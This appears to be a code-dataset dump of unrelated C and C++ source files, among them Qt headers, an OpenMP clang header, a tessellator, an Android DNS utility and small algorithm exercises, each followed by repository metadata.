#ifndef SQLDATABASE_H #define SQLDATABASE_H #include "common_header.h" #include <QSqlQuery> #include <QSqlError> #include "user.h" extern const QString dbPath; class SqlDatabase { public: static SqlDatabase *get_instance(const QString & dbPath); bool open(); void close(); bool create_user_table(); bool get_user_by_item(const user_options item,const QString & data, User & user); bool insert_new_user(const User & user); bool del_user_by_item(const user_options item,const QString & data); // static QSqlDatabase getDatabase(); // bool getOpenedFlag() const; private: //设为单例模式 SqlDatabase(){} SqlDatabase(const SqlDatabase & other) = delete; SqlDatabase & operator=(const SqlDatabase & other) = delete; static SqlDatabase *instance; static QSqlDatabase database; bool openedFlag=false;//防止重复打开或关闭 QSqlQuery sqlQuery; void join_cmd_by_item_(QString & cmd,int option, const user_options item, const QString & data); }; #endif // SQLDATABASE_H
[ "rogerting@yeah.net" ]
rogerting@yeah.net
3bced32b2f096a5308402765593c863dda9921f4
54c94a818b69947c71f4977c1580969fdf843108
/Code/Engine/Graphics/Player.cpp
b3318c09e8bbe3c6250c40921265731db862b94e
[]
no_license
karthiknarayan0512/GraphicsEngine
bfa4fecc725001a9c7daf709e18ebb614434e12e
153888e1269c4180dbc6e2be35581a76e08ac45b
refs/heads/master
2021-01-21T13:52:37.058356
2016-05-06T04:39:47
2016-05-06T04:39:47
50,862,861
0
0
null
null
null
null
UTF-8
C++
false
false
428
cpp
#include "Player.h" namespace eae6320 { namespace Graphics { void Player::AddPlayerRenderable(const char* i_PlayerMeshFile, const char * i_PlayerMaterialFile) { static int currentIndex = 0; m_Renderables[currentIndex++] = Renderable(i_PlayerMeshFile, i_PlayerMaterialFile); } void Player::RenderPlayer(Camera &i_Camera) { for (size_t i = 0; i < 11; i++) m_Renderables[i].Render(i_Camera); } } }
[ "u0950014@utah.edu" ]
u0950014@utah.edu
cad51d50c283a6f0ebfcc9580aca683f72aef2ff
5380bb8326cd8e790fd1ffeaa2b3866abd00dd01
/solve/cpp/heap.cc
269017e23eee2c17bb0fd2a32e8f7848efb22ca8
[]
no_license
alxsoares/algo.comb.permute
5af22a7b0247e9597100c5f5ee7836e998e4145b
4c60f11bb49055d1c83cac72c9dc74f2ad5f5b34
refs/heads/master
2021-01-18T07:23:16.441810
2011-11-04T04:48:36
2011-11-04T04:48:36
null
0
0
null
null
null
null
UTF-8
C++
false
false
579
cc
#include "common.hh" void recurse(int k) { if (k == 0) { output(); } else { if (k&1) { for (int i = 0; i != k; ++i) { recurse(k - 1); swap(a[i], a[k]); } } else { for (int i = 0; i != k; ++i) { recurse(k - 1); swap(a[0], a[k]); } } recurse(k - 1); } } int main(int argc, char *argv[]) { if (init(argc, argv, UNORDERED) == 0) { recurse(n - 1); return final(); } return 1; }
[ "seritrinh@gmail.com" ]
seritrinh@gmail.com
1c091bd195905feedc951acabc746de21c5e6935
98ef9f82f45320df070f670eac258c8365113642
/solution1-100/17. Letter Combinations of a Phone Number.cc
bc59c950da3b69e710b5d06eb39e0a17eae1e7f0
[]
no_license
FrankWork/LeetCode
abbf6125b57e143073f89daf5cbcbd8ff67bb78b
6ec0c0d43cf4e8ef968051a4d125c4965d58e4f5
refs/heads/master
2021-01-22T07:27:43.963950
2018-11-12T08:44:18
2018-11-12T08:44:18
39,978,490
1
0
null
null
null
null
UTF-8
C++
false
false
1,742
cc
/* Given an array S of n integers, find three integers in S such that the sum is closest to a given number, target. Return the sum of the three integers. You may assume that each input would have exactly one solution. For example, given array S = {-1 2 1 -4}, and target = 1. The sum that is closest to the target is 2. (-1 + 2 + 1 = 2). */ #include <iostream> #include <algorithm> #include <vector> using namespace std; class Solution { public: int threeSumClosest(vector<int>& nums, int target) { int left,right; int sum=nums[0]+nums[1]+nums[2], diff=abs(target-sum); bool foundt=false; sort(nums.begin(),nums.end()); for(int i=0;i<nums.size();i++) cout <<nums[i]<<","; cout <<endl; for(int i=0;i<nums.size() && !foundt;i++){ left=0,right=nums.size()-1; while(left<right){ if(left==i){ left++; continue; }else if(right==i){ right--; continue; } int t = nums[left]+nums[right]+nums[i]; int d = abs(target-t); if(t>target){ right--; }else if(t<target){ left++; }else{ foundt=true;sum=t;break;} if(d<diff){ diff=d; sum=t; } } } return sum; } private: int abs(int x){return x>=0?x:-x;} }; int main(){ Solution so; //vector<int> nums={-1,2,1,-4}; //int target=1; vector<int> nums={1,1,-1,-1,3}; int target=-1; cout <<so.threeSumClosest(nums,target)<<endl; return 0; }
[ "lzh00776@163.com" ]
lzh00776@163.com
874b622f355ba66e28c3f8cec26c2a612aea195f
46cce0f5350dd7bef7a22bb0a1246f003f40916c
/ui/widgets/registration/registrationpage.h
ba76721a99727ba1a48673aeedc5508278bfd7c9
[]
no_license
veodev/av_training
6e65d43b279d029c85359027b5c68bd251ad24ff
ecb8c3cdc58679ada38c30df36a01751476f9015
refs/heads/master
2020-04-28T22:23:39.485893
2019-09-23T13:16:29
2019-09-23T13:16:29
175,615,879
0
0
null
null
null
null
UTF-8
C++
false
false
1,671
h
#ifndef REGISTRATIONPAGE_H #define REGISTRATIONPAGE_H #include <QWidget> #include "fileplacementwidget.h" #include "operatorselectionwidget.h" #include "lineselectionwidget.h" #include "coredefinitions.h" #include "trackmarks/trackmarksselector.h" class RegistrationPage : public QWidget { Q_OBJECT protected: OperatorSelectionWidget* _operatorSelectionWidget; LineSelectionWidget* _lineSelectionWidget; FilePlacementWidget* _filePlacementWidget; int _selectOperatorNumber; bool _isRegistrationStarted; QString _fileName; public: explicit RegistrationPage(QWidget* parent = Q_NULLPTR); virtual int getControlRail() = 0; virtual int getDirection() = 0; virtual void setRegistrationState(bool state) = 0; virtual QString getLine() = 0; virtual void setDeviceType(DeviceType type) = 0; virtual QString getOperator() = 0; virtual QStringList getOperatorsList() = 0; virtual QString getDirectionName() = 0; virtual QString getTrackNumber() = 0; virtual int getLeftSide() = 0; virtual int getControlObject() = 0; virtual void updateTrackMarks() = 0; virtual QString getStation() = 0; virtual QString getFileName() = 0; protected: virtual bool event(QEvent* e) = 0; signals: void startStopRegistration(); void correctRegistration(); void startStopService(); void controlRailChanged(int index, const QString& value, const QVariant& userData); void workSideChanged(int index, const QString& value, const QVariant& userData); void operatorsListChanged(QStringList); void activeOperatorChanged(QString); public slots: }; #endif // REGISTRATIONPAGE_H
[ "veo86@bk.ru" ]
veo86@bk.ru
c9d2cd13d73c19f56465cdf61b7e57e25da692d7
b1aef802c0561f2a730ac3125c55325d9c480e45
/src/ripple/ledger/Sandbox.h
395f78f297c68ef388219b1038b776cae1635d74
[]
no_license
sgy-official/sgy
d3f388cefed7cf20513c14a2a333c839aa0d66c6
8c5c356c81b24180d8763d3bbc0763f1046871ac
refs/heads/master
2021-05-19T07:08:54.121998
2020-03-31T11:08:16
2020-03-31T11:08:16
251,577,856
6
4
null
null
null
null
UTF-8
C++
false
false
730
h
#ifndef RIPPLE_LEDGER_SANDBOX_H_INCLUDED #define RIPPLE_LEDGER_SANDBOX_H_INCLUDED #include <ripple/ledger/RawView.h> #include <ripple/ledger/detail/ApplyViewBase.h> namespace ripple { class Sandbox : public detail::ApplyViewBase { public: Sandbox() = delete; Sandbox (Sandbox const&) = delete; Sandbox& operator= (Sandbox&&) = delete; Sandbox& operator= (Sandbox const&) = delete; Sandbox (Sandbox&&) = default; Sandbox (ReadView const* base, ApplyFlags flags) : ApplyViewBase (base, flags) { } Sandbox (ApplyView const* base) : Sandbox(base, base->flags()) { } void apply (RawView& to) { items_.apply(to); } }; } #endif
[ "sgy-official@hotmail.com" ]
sgy-official@hotmail.com
87fbefc04fcd0fbbe5a5d58c69e83b1199700206
90b1fd6d0e4a7b360c04c8317b587818dca2e048
/src/Scene.h
fb988bd9ee98aba864b8a501a8b767d936dc3fb6
[ "Apache-2.0" ]
permissive
kuro/fyreware
cb315d13cb52dc7b577242149afa3ad4b12b809e
f1c002edc3b278959226ee10210f88abaae19f37
refs/heads/master
2016-09-05T13:41:22.779301
2011-05-23T20:12:00
2011-05-26T14:54:46
1,016,119
0
0
null
null
null
null
UTF-8
C++
false
false
2,351
h
/* * Copyright 2010 Blanton Black * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file Scene.h * @brief Scene definition */ #pragma once #include <QGraphicsScene> #include <QPointer> #include "Scene.h" #include <btBulletDynamicsCommon.h> class QDir; class QScriptEngine; class QScriptProgram; class Camera; class ShaderProgram; class Scene : public QGraphicsScene { Q_OBJECT public: Scene (QObject* parent = NULL); virtual ~Scene (); void start (); btDynamicsWorld* dynamicsWorld () const; ShaderProgram* shader (const QString& name) const; Camera* camera () const; qreal dt () const; QScriptEngine* scriptEngine () const; void launch (); QScriptProgram analyzerProgram () const; QHash<QString, QScriptProgram> shellPrograms () const; signals: void drawShells (); void drawClusters (); void update (qreal dt); void statusMessage (const QString&, int, const QColor&); private: void loadCubeMap (const QDir& path); void makeStarTex (int maxWidth); void initPhysics (); void initSound (); void initGraphics (); void initScripting (); //void resizeEvent (QResizeEvent* evt); void draw (); void drawSceneShells (); void drawSceneClusters (); void drawSpectrum (); void drawSky (); //void wheelEvent (QWheelEvent* evt); //bool event (QEvent* evt); //bool gestureEvent (QGestureEvent* evt); //void pinchGesture (QPinchGesture* gesture); //void swipeGesture (QSwipeGesture* gesture); static void internalTickCallback ( btDynamicsWorld* world, btScalar timeStep); void drawBackground (QPainter* painter, const QRectF&); private slots: void on_timer_timeout (); private: struct Private; QScopedPointer<Private> d; }; extern QPointer<Scene> scene;
[ "theblanton@gmail.com" ]
theblanton@gmail.com
cec3205c6be15df384107c219efc67702a2bbd35
8dc84558f0058d90dfc4955e905dab1b22d12c08
/third_party/android_ndk/toolchains/llvm/prebuilt/linux-x86_64/prebuilt_include/clang/include/clang/Basic/OpenMPKinds.h
e00333153f9b0084de91c05c39c523dd74cd0f37
[ "NCSA", "LicenseRef-scancode-generic-cla", "MIT", "LicenseRef-scancode-arm-llvm-sga", "LicenseRef-scancode-unknown-license-reference", "BSD-3-Clause", "LGPL-2.0-or-later", "GPL-1.0-or-later", "Apache-2.0" ]
permissive
meniossin/src
42a95cc6c4a9c71d43d62bc4311224ca1fd61e03
44f73f7e76119e5ab415d4593ac66485e65d700a
refs/heads/master
2022-12-16T20:17:03.747113
2020-09-03T10:43:12
2020-09-03T10:43:12
263,710,168
1
0
BSD-3-Clause
2020-05-13T18:20:09
2020-05-13T18:20:08
null
UTF-8
C++
false
false
8,771
h
//===--- OpenMPKinds.h - OpenMP enums ---------------------------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// /// /// \file /// \brief Defines some OpenMP-specific enums and functions. /// //===----------------------------------------------------------------------===// #ifndef LLVM_CLANG_BASIC_OPENMPKINDS_H #define LLVM_CLANG_BASIC_OPENMPKINDS_H #include "llvm/ADT/StringRef.h" namespace clang { /// \brief OpenMP directives. enum OpenMPDirectiveKind { #define OPENMP_DIRECTIVE(Name) \ OMPD_##Name, #define OPENMP_DIRECTIVE_EXT(Name, Str) \ OMPD_##Name, #include "clang/Basic/OpenMPKinds.def" OMPD_unknown }; /// \brief OpenMP clauses. enum OpenMPClauseKind { #define OPENMP_CLAUSE(Name, Class) \ OMPC_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_threadprivate, OMPC_uniform, OMPC_unknown }; /// \brief OpenMP attributes for 'default' clause. enum OpenMPDefaultClauseKind { #define OPENMP_DEFAULT_KIND(Name) \ OMPC_DEFAULT_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_DEFAULT_unknown }; /// \brief OpenMP attributes for 'proc_bind' clause. enum OpenMPProcBindClauseKind { #define OPENMP_PROC_BIND_KIND(Name) \ OMPC_PROC_BIND_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_PROC_BIND_unknown }; /// \brief OpenMP attributes for 'schedule' clause. enum OpenMPScheduleClauseKind { #define OPENMP_SCHEDULE_KIND(Name) \ OMPC_SCHEDULE_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_SCHEDULE_unknown }; /// \brief OpenMP modifiers for 'schedule' clause. enum OpenMPScheduleClauseModifier { OMPC_SCHEDULE_MODIFIER_unknown = OMPC_SCHEDULE_unknown, #define OPENMP_SCHEDULE_MODIFIER(Name) \ OMPC_SCHEDULE_MODIFIER_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_SCHEDULE_MODIFIER_last }; /// \brief OpenMP attributes for 'depend' clause. enum OpenMPDependClauseKind { #define OPENMP_DEPEND_KIND(Name) \ OMPC_DEPEND_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_DEPEND_unknown }; /// \brief OpenMP attributes for 'linear' clause. enum OpenMPLinearClauseKind { #define OPENMP_LINEAR_KIND(Name) \ OMPC_LINEAR_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_LINEAR_unknown }; /// \brief OpenMP mapping kind for 'map' clause. enum OpenMPMapClauseKind { #define OPENMP_MAP_KIND(Name) \ OMPC_MAP_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_MAP_unknown }; /// \brief OpenMP attributes for 'dist_schedule' clause. enum OpenMPDistScheduleClauseKind { #define OPENMP_DIST_SCHEDULE_KIND(Name) OMPC_DIST_SCHEDULE_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_DIST_SCHEDULE_unknown }; /// \brief OpenMP attributes for 'defaultmap' clause. enum OpenMPDefaultmapClauseKind { #define OPENMP_DEFAULTMAP_KIND(Name) \ OMPC_DEFAULTMAP_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_DEFAULTMAP_unknown }; /// \brief OpenMP modifiers for 'defaultmap' clause. enum OpenMPDefaultmapClauseModifier { OMPC_DEFAULTMAP_MODIFIER_unknown = OMPC_DEFAULTMAP_unknown, #define OPENMP_DEFAULTMAP_MODIFIER(Name) \ OMPC_DEFAULTMAP_MODIFIER_##Name, #include "clang/Basic/OpenMPKinds.def" OMPC_DEFAULTMAP_MODIFIER_last }; /// Scheduling data for loop-based OpenMP directives. struct OpenMPScheduleTy final { OpenMPScheduleClauseKind Schedule = OMPC_SCHEDULE_unknown; OpenMPScheduleClauseModifier M1 = OMPC_SCHEDULE_MODIFIER_unknown; OpenMPScheduleClauseModifier M2 = OMPC_SCHEDULE_MODIFIER_unknown; }; OpenMPDirectiveKind getOpenMPDirectiveKind(llvm::StringRef Str); const char *getOpenMPDirectiveName(OpenMPDirectiveKind Kind); OpenMPClauseKind getOpenMPClauseKind(llvm::StringRef Str); const char *getOpenMPClauseName(OpenMPClauseKind Kind); unsigned getOpenMPSimpleClauseType(OpenMPClauseKind Kind, llvm::StringRef Str); const char *getOpenMPSimpleClauseTypeName(OpenMPClauseKind Kind, unsigned Type); bool isAllowedClauseForDirective(OpenMPDirectiveKind DKind, OpenMPClauseKind CKind); /// \brief Checks if the specified directive is a directive with an associated /// loop construct. /// \param DKind Specified directive. /// \return true - the directive is a loop-associated directive like 'omp simd' /// or 'omp for' directive, otherwise - false. bool isOpenMPLoopDirective(OpenMPDirectiveKind DKind); /// \brief Checks if the specified directive is a worksharing directive. /// \param DKind Specified directive. /// \return true - the directive is a worksharing directive like 'omp for', /// otherwise - false. bool isOpenMPWorksharingDirective(OpenMPDirectiveKind DKind); /// \brief Checks if the specified directive is a taskloop directive. /// \param DKind Specified directive. /// \return true - the directive is a worksharing directive like 'omp taskloop', /// otherwise - false. bool isOpenMPTaskLoopDirective(OpenMPDirectiveKind DKind); /// \brief Checks if the specified directive is a parallel-kind directive. /// \param DKind Specified directive. /// \return true - the directive is a parallel-like directive like 'omp /// parallel', otherwise - false. bool isOpenMPParallelDirective(OpenMPDirectiveKind DKind); /// \brief Checks if the specified directive is a target code offload directive. /// \param DKind Specified directive. /// \return true - the directive is a target code offload directive like /// 'omp target', 'omp target parallel', 'omp target xxx' /// otherwise - false. bool isOpenMPTargetExecutionDirective(OpenMPDirectiveKind DKind); /// \brief Checks if the specified directive is a target data offload directive. /// \param DKind Specified directive. /// \return true - the directive is a target data offload directive like /// 'omp target data', 'omp target update', 'omp target enter data', /// 'omp target exit data' /// otherwise - false. bool isOpenMPTargetDataManagementDirective(OpenMPDirectiveKind DKind); /// Checks if the specified composite/combined directive constitutes a teams /// directive in the outermost nest. For example /// 'omp teams distribute' or 'omp teams distribute parallel for'. /// \param DKind Specified directive. /// \return true - the directive has teams on the outermost nest, otherwise - /// false. bool isOpenMPNestingTeamsDirective(OpenMPDirectiveKind DKind); /// Checks if the specified directive is a teams-kind directive. For example, /// 'omp teams distribute' or 'omp target teams'. /// \param DKind Specified directive. /// \return true - the directive is a teams-like directive, otherwise - false. bool isOpenMPTeamsDirective(OpenMPDirectiveKind DKind); /// \brief Checks if the specified directive is a simd directive. /// \param DKind Specified directive. /// \return true - the directive is a simd directive like 'omp simd', /// otherwise - false. bool isOpenMPSimdDirective(OpenMPDirectiveKind DKind); /// \brief Checks if the specified directive is a distribute directive. /// \param DKind Specified directive. /// \return true - the directive is a distribute-directive like 'omp /// distribute', /// otherwise - false. bool isOpenMPDistributeDirective(OpenMPDirectiveKind DKind); /// Checks if the specified composite/combined directive constitutes a /// distribute directive in the outermost nest. For example, /// 'omp distribute parallel for' or 'omp distribute'. /// \param DKind Specified directive. /// \return true - the directive has distribute on the outermost nest. /// otherwise - false. bool isOpenMPNestingDistributeDirective(OpenMPDirectiveKind DKind); /// \brief Checks if the specified clause is one of private clauses like /// 'private', 'firstprivate', 'reduction' etc.. /// \param Kind Clause kind. /// \return true - the clause is a private clause, otherwise - false. bool isOpenMPPrivate(OpenMPClauseKind Kind); /// \brief Checks if the specified clause is one of threadprivate clauses like /// 'threadprivate', 'copyin' or 'copyprivate'. /// \param Kind Clause kind. /// \return true - the clause is a threadprivate clause, otherwise - false. bool isOpenMPThreadPrivate(OpenMPClauseKind Kind); /// Checks if the specified directive kind is one of tasking directives - task, /// taskloop or taksloop simd. bool isOpenMPTaskingDirective(OpenMPDirectiveKind Kind); /// Checks if the specified directive kind is one of the composite or combined /// directives that need loop bound sharing across loops outlined in nested /// functions bool isOpenMPLoopBoundSharingDirective(OpenMPDirectiveKind Kind); /// Return the captured regions of an OpenMP directive. void getOpenMPCaptureRegions( llvm::SmallVectorImpl<OpenMPDirectiveKind> &CaptureRegions, OpenMPDirectiveKind DKind); } #endif
[ "arnaud@geometry.ee" ]
arnaud@geometry.ee
ee418e77dd42db9b691984e30599cecc5eb69eef
6f3c3d5ed7eaa6cb9ca5a2cfce59ff7bbfc1f0ed
/src/vlGraphics/Tessellator.hpp
286d6b9b4593c39f57880c85885f3b98e1899140
[ "LicenseRef-scancode-unknown-license-reference", "BSD-2-Clause" ]
permissive
gegenschall/visualizationlibrary
416d8b294a158a1905a17cbf2921900a797874c1
940be74349c2309a583c422652ec6cf06f7bb6d5
refs/heads/master
2020-12-30T22:35:01.157239
2015-04-04T11:16:21
2015-04-04T11:16:21
33,401,863
0
0
null
null
null
null
UTF-8
C++
false
false
7,450
hpp
/**************************************************************************************/ /* */ /* Visualization Library */ /* http://www.visualizationlibrary.org */ /* */ /* Copyright (c) 2005-2010, Michele Bosi */ /* All rights reserved. */ /* */ /* Redistribution and use in source and binary forms, with or without modification, */ /* are permitted provided that the following conditions are met: */ /* */ /* - Redistributions of source code must retain the above copyright notice, this */ /* list of conditions and the following disclaimer. */ /* */ /* - Redistributions in binary form must reproduce the above copyright notice, this */ /* list of conditions and the following disclaimer in the documentation and/or */ /* other materials provided with the distribution. */ /* */ /* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND */ /* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED */ /* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE */ /* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR */ /* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES */ /* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; */ /* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON */ /* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT */ /* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS */ /* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* */ /**************************************************************************************/ #ifndef Tessellator_INCLUDE_ONCE #define Tessellator_INCLUDE_ONCE #include <vlGraphics/OpenGL.hpp> #include <vlGraphics/Geometry.hpp> #include <vlCore/Vector3.hpp> #include <vector> #ifndef CALLBACK #define CALLBACK #endif namespace vl { /** * Tessellates a complex polygon defined by a set of outlines into a set of triangles that can be rendered by Visualization Library. * For more information see the OpenGL Programmer's Guide chapter #11 "Tessellators and Quadrics". */ class VLGRAPHICS_EXPORT Tessellator: public Object { VL_INSTRUMENT_CLASS(vl::Tessellator, Object) typedef void (CALLBACK *callback_type)(void); public: //! Constructor. Tessellator(); //! Destructor ~Tessellator(); //! The contours that specify the complex polygon to be tessellated. const std::vector<dvec3>& contourVerts() const { return mContourVerts; } //! The contours that specify the complex polygon to be tessellated. std::vector<dvec3>& contourVerts() { return mContourVerts; } //! The contours that specify the complex polygon to be tessellated. const std::vector<int>& contours() const { return mContours; } //! The contours that specify the complex polygon to be tessellated. std::vector<int>& contours() { return mContours; } //! A set of triangles representing the tessellated polygon. const std::vector<fvec3>& tessellatedTris() const { return mTessellatedTris; } //! A set of triangles representing the tessellated polygon. std::vector<fvec3>& tessellatedTris() { return mTessellatedTris; } //! See gluTessNormal documentation. void setTessNormal(const fvec3& normal) { mTessNormal = normal; } //! See gluTessNormal documentation. const fvec3& tessNormal() const { return mTessNormal; } //! See gluTessProperty documentation (GLU_TESS_BOUNDARY_ONLY) void setBoundaryOnly(bool on) { mBoundaryOnly = on; } //! See gluTessProperty documentation (GLU_TESS_BOUNDARY_ONLY) bool boundaryOnly() const { return mBoundaryOnly; } //! See gluTessProperty documentation (GLU_TESS_TOLERANCE) double tolerance() const { return mTolerance; } //! See gluTessProperty documentation (GLU_TESS_TOLERANCE) void setTolerance(double tolerance) { mTolerance = tolerance; } //! See gluTessProperty documentation (GLU_TESS_WINDING_RULE) ETessellationWinding windingRule() const { return mWindingRule; } //! See gluTessProperty documentation (GLU_TESS_WINDING_RULE) void setWindingRule(ETessellationWinding rule) { mWindingRule = rule; } /* * Tessellates the specified polygon. * If \p append_tessellated_tris equals \p true then the previously tessellated triangles are kept and the newly * generated triangles are appended to them. This is useful when one has to tessellate several triangles and * the result should be accumulated in a single triangle set. * * After the function is called the contours() and contourVerts() are cleared. */ bool tessellate(bool append_tessellated_tris=false); //! Utility function that calls tessellate() and creates a Geometry with the tessellated triangles. ref<Geometry> tessellateGeometry(bool append_tessellated_tris=false); void setTessellateIntoSinglePolygon(bool on) { mTessellateIntoSinglePolygon = on; } bool tessellateIntoSinglePolygon() const { return mTessellateIntoSinglePolygon; } protected: static void CALLBACK tessBeginData( GLenum type, Tessellator* tessellator ); static void CALLBACK tessVertexData( dvec3* vec, Tessellator* tessellator ); static void CALLBACK tessCombineData( GLdouble coords[3], dvec3 *d[4], GLfloat w[4], dvec3 **dataOut, Tessellator* tessellator ); static void CALLBACK tessEnd(void); static void CALLBACK tessError( GLenum errno ); void freeCombinedVertices(); protected: // input std::vector<int> mContours; std::vector<dvec3> mContourVerts; // output std::vector<fvec3> mTessellatedTris; // intermediate data std::vector< std::vector<fvec3> > mFans; std::vector< std::vector<fvec3> > mTriStrips; std::vector< std::vector<fvec3> > mLineLoops; std::vector< dvec3* > mCombinedVertices; GLenum mPrimitiveType; // see gluTessNorml() fvec3 mTessNormal; // see GLU_TESS_BOUNDARY_ONLY bool mBoundaryOnly; // see GLU_TESS_TOLERANCE double mTolerance; // see GLU_TESS_WINDING_RULE ETessellationWinding mWindingRule; // tessellate into a single polygon bool mTessellateIntoSinglePolygon; }; } #endif
[ "michele.bosi@e3458a3e-9034-11de-b664-3b115b7b7a9b" ]
michele.bosi@e3458a3e-9034-11de-b664-3b115b7b7a9b
0ffe8fddfb3a629c37a725ab9376416e08aef3ae
544cfadc742536618168fc80a5bd81a35a5f2c99
/packages/modules/DnsResolver/util.cpp
458f3c6bb9e10467a5bb7aabfa3b3e9f971e947b
[ "BSD-4-Clause-UC", "LicenseRef-scancode-ibm-dhcp", "ISC", "Apache-2.0", "BSD-2-Clause", "BSD-3-Clause", "HPND" ]
permissive
ZYHGOD-1/Aosp11
0400619993b559bf4380db2da0addfa9cccd698d
78a61ca023cbf1a0cecfef8b97df2b274ac3a988
refs/heads/main
2023-04-21T20:13:54.629813
2021-05-22T05:28:21
2021-05-22T05:28:21
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,899
cpp
/* * Copyright (C) 2019 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #include "util.h" #include <android-base/format.h> #include <android-base/parseint.h> #include <server_configurable_flags/get_flags.h> using android::base::ParseInt; using server_configurable_flags::GetServerConfigurableFlag; socklen_t sockaddrSize(const sockaddr* sa) { if (sa == nullptr) return 0; switch (sa->sa_family) { case AF_INET: return sizeof(sockaddr_in); case AF_INET6: return sizeof(sockaddr_in6); default: return 0; } } socklen_t sockaddrSize(const sockaddr_storage& ss) { return sockaddrSize(reinterpret_cast<const sockaddr*>(&ss)); } int getExperimentFlagInt(const std::string& flagName, int defaultValue) { int val = defaultValue; ParseInt(GetServerConfigurableFlag("netd_native", flagName, ""), &val); return val; } std::string timestampToString(const std::chrono::system_clock::time_point& ts) { using std::chrono::duration_cast; using std::chrono::milliseconds; const auto time_sec = std::chrono::system_clock::to_time_t(ts); char buf[32]; std::strftime(buf, sizeof(buf), "%H:%M:%S", std::localtime(&time_sec)); int ms = duration_cast<milliseconds>(ts.time_since_epoch()).count() % 1000; return fmt::format("{}.{:03d}", buf, ms); }
[ "rick_tan@qq.com" ]
rick_tan@qq.com
c7e6c134630488f85e0fd4181d2ec5ea0f473fe1
85e4cda6b18162fb69e86c030b4d11eda9a8e0d4
/Charcaterarray/LargestWordInSentence.cpp
8888eb2898dc59c60890bc4d6e43e0dfd11a7765
[]
no_license
JatinSharma2821/C-plus-plus
4e8e244a6e756ca038cff78358185e2e86a5d1dd
a73febc0302382321bc448b599a569cf88681b7d
refs/heads/main
2023-06-04T20:53:25.732693
2021-06-19T07:56:46
2021-06-19T07:56:46
376,462,667
0
0
null
null
null
null
UTF-8
C++
false
false
2,328
cpp
/* Find largest word in sentence; Tu savoi quel aujourd'hui Je suis content car aujourd'hui Je entrient tu dans mon rever. */ /* Next word is seperated by space in a sentence , make use of that. */ #include<iostream> #include<bits/stdc++.h> using namespace std; int main() { int n; cin>>n;// here after inputting n in terminal , we enter qa space so tell the compiler to ignore that space , we use cin.ignore cin.ignore(); char arr[n+1]; cin.getline(arr,n+1); cin.ignore(); // cin.ignore(256,delimiting character) -- it transvers over 256 ascii enoding character and ignore everything until delimitng charcater is reached. int currlen = 0;// stores current len int maxlen= 0; // stores max length int stlarge = 0; // represent starting of largest word int enlarge = 0; // represent ending of largest word. int i =0;// for iterating loop while (1)// loop for transversing over whole array // 1 refers to true --- while (true) { if (arr[i] == ' ' || arr[i] == '\0' ) { if (currlen>maxlen) { maxlen = currlen; enlarge = stlarge; // now if space has come or null character has come means previous word is ending so ending index will be the last st. // lets take an example - He loves she ---- here at st = 7, word - love ends. so ending index = last st = 7. } //ans = (currlen>maxlen) ? maxlen:currlen; // assiged value of curr len to maxlen currlen=0; // if pointer encouters with space or '\0' means either new word is going to start or end of statement has come. // So, in both the cases, we need to make curr len as 0; bcz if new word is strating so we need to measure its length strating from zero stlarge = i+1; // means starting index of new word is i(at which arr[i] == ' ' ) ------ i+1; // lets take an example - He loves she ... @i=2; arr[i] == ' ' ... means now for next word starting-index i.e, stlarge will be 3 ... so, st = i + 1; } else { currlen++; } if (arr[i] == '\0') { break; } i++; } //cout<<ans; cout<<" Length of largest word is "<< maxlen <<" " << "and the word is "; // gives max len for (int i=0; i<maxlen; i++) {// He loves she cout<<arr[i+enlarge]; } return 0; }
[ "noreply@github.com" ]
JatinSharma2821.noreply@github.com
381647220c3ec05cd5ba943820a04d14c5233166
1cfd0262157fef375a75024beba0379159d70f6f
/106ConstructBinaryTreeFromInorderAndPostorderTraversal.h
bda743354e0e72204ded5dfdc476542cc45b7aeb
[]
no_license
Hongyan0627/Interview_questions
ce5a27726fa5ff935562cae0d60fb2e510ea5b35
1e926b8efe23e298113a7096a2f91f3e55662b59
refs/heads/master
2020-06-16T08:25:10.265410
2017-02-23T23:48:41
2017-02-23T23:48:41
75,123,431
1
0
null
null
null
null
UTF-8
C++
false
false
1,019
h
